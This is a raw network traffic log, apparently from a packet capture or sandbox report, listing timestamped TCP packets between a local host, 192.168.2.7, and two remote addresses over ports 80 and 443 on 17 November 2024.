Nov 17, 2024 22:20:23.952979088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.953013897 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.953032017 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.953644037 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.953660011 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.953671932 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.953682899 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.953717947 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.953752041 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.993025064 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.993041039 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.993052959 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.993292093 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.998872042 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.999053001 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.999177933 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.999300003 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.999300003 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.999339104 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.999351025 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.002423048 CET	49734	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:24.002460003 CET	443	49734	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.002553940 CET	49734	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:24.002785921 CET	49734	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:24.002799034 CET	443	49734	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.029877901 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.029892921 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.029903889 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.029999018 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.030020952 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.030031919 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.030105114 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.030105114 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.030105114 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.030420065 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.030441999 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.030453920 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.030488968 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.030525923 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.069009066 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069031000 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069042921 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069202900 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069216967 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069228888 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069226980 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.069226980 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.069241047 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069248915 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069336891 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.069336891 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.069658995 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069678068 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069689035 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069700003 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069713116 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.069730997 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.069763899 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.070422888 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.070435047 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.070445061 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.070457935 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.070470095 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.070511103 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.070544958 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.110011101 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.110028982 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.110042095 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.110153913 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.146604061 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.146616936 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.146627903 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.146761894 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.146774054 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.146784067 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.146889925 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.146889925 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.146889925 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.147125959 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.147195101 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.147200108 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.147211075 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.147222042 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.147265911 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.147300959 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.185547113 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.185575008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.185585022 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.185651064 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.185664892 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.185674906 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.185873032 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.185873032 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186078072 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186091900 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186104059 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186158895 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186160088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186306953 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186319113 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186331987 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186358929 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186393976 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186393976 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186408043 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186420918 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186475992 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186475992 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186882973 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186893940 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186904907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186923027 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186935902 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186942101 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186952114 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.186961889 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.186995983 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.187026978 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.226927042 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.226941109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.226952076 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.226965904 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.227009058 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.227057934 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263292074 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263307095 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263328075 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263423920 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263423920 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263437033 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263449907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263459921 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263489008 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263509035 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263680935 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263700008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263727903 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263740063 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.263787985 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263797998 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.263835907 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.302333117 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302346945 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302357912 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302382946 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302431107 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302445889 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302458048 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.302527905 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.302711964 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302722931 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302735090 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302747011 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.302767992 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.302794933 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303102016 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303131104 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303147078 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303173065 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303239107 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303251982 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303263903 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303275108 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303282022 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303318977 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303636074 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303647041 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303684950 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303774118 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303785086 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303796053 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303808928 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.303817987 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303848982 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.303874016 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.304140091 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.304176092 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.304189920 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.304219007 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.344463110 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.344491005 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.344527006 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.344650030 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.344650030 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.380147934 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380172968 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380187988 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380199909 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380212069 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380224943 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380268097 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.380331993 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.380476952 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380490065 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380502939 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.380531073 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.380554914 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419301033 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419337034 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419349909 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419373035 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419392109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419485092 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419485092 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419485092 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419513941 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419543028 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419554949 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419560909 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419589996 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419786930 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419801950 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419811964 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.419835091 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.419862032 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420042038 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420088053 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420172930 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420186043 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420197964 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420219898 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420233011 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420255899 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420310974 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420357943 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420361996 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420373917 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420408964 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420428991 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420607090 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420619965 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420631886 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420644045 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420650005 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420656919 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.420667887 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420691013 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.420731068 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.461107969 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.461122036 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.461133003 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.461294889 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.496598005 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496665001 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496675968 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496685982 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496716022 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.496764898 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.496808052 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496819973 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496830940 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.496857882 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.496879101 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.497201920 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.497212887 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.497226954 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.497246981 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.497257948 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.497263908 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.497263908 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.497299910 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.497299910 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536098957 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536114931 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536134958 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536148071 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536164999 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536173105 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536180019 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536192894 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536197901 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536226034 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536238909 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536580086 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536592007 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536603928 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536633015 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536689997 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536711931 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536767006 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536789894 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536834955 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536864996 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536941051 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.536948919 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.536961079 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537002087 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537035942 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537101984 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537113905 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537127018 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537137985 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537153959 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537182093 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537199020 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537455082 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537507057 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537508965 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537529945 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537542105 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537554979 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.537559032 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537576914 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.537606955 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.577826977 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.577841997 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.577861071 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.577871084 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.577914000 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.577944994 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.611834049 CET	443	49730	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.613518000 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.613555908 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.613567114 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.613584042 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.613601923 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.613620043 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.613620043 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.613646030 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.613665104 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.613682985 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.613722086 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.613817930 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.613996983 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.614008904 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.614022970 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.614037037 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.614041090 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.614053011 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.614073992 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.614200115 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.614212036 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:24.614242077 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.614264965 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:24.619831085 CET	443	49732	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.643120050 CET	49730	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:24.643138885 CET	443	49730	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.646205902 CET	443	49733	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:24.647619963 CET	49730	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:24.647624969 CET	443	49730	13.107.246.45	192.168.2.7
